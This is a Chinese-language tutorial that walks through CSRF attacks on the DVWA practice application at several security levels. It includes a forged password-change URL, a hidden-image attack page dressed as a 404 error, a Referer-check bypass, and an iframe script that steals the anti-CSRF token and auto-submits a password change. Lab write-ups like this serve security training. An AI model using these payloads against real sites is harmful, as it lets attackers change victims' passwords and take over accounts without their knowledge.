CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。 CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。 Low CSRF(跨站请求伪造) Safe 第1张 可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。 抓包得到,URL: 方法一:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change# 当用户A在访问该网站时,只要用户A点击黑客B精心构造的这个URL时就能造成CSRF攻击 不能跨浏览器,例如之前用的火狐,现在不能用Chrome浏览器,因为chrome不会利用火狐的cookie。 当然,这个URL过于明显,稍微有一点知识的人都能看出来这是一个改密码的链接,所以说我们就应该想一下隐藏的放法, 方法二:短链接来隐藏URL(点击短链接,会自动跳转到真实网站) 需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。 方法三:构造攻击页面(html文档) 现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。 文档如下: <img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0"style="display:none;"/> <h1>404<h1> <h2>file not found.<h2> 其中style="display:none;"是不让这个元素显示出来 当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。   Medium CSRF(跨站请求伪造) Safe 第2张 int eregi(string pattern, string string) 检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。 可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.0.104),希望通过这种机制抵御CSRF攻击。 漏洞利用 过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.0.104) 我们可以将攻击页面命名为192.168.0.104.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了 CSRF(跨站请求伪造) Safe 第3张 Referer参数完美绕过过滤规则 CSRF(跨站请求伪造) Safe 第4张 High High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。 漏洞利用 要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。 试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。 <script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); } </script>   <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"> </iframe>   <body onload="attack()"> <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form> </body>   Impossible 可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。

CSRF(跨站请求伪造) Safe 第5张

 

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。
扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄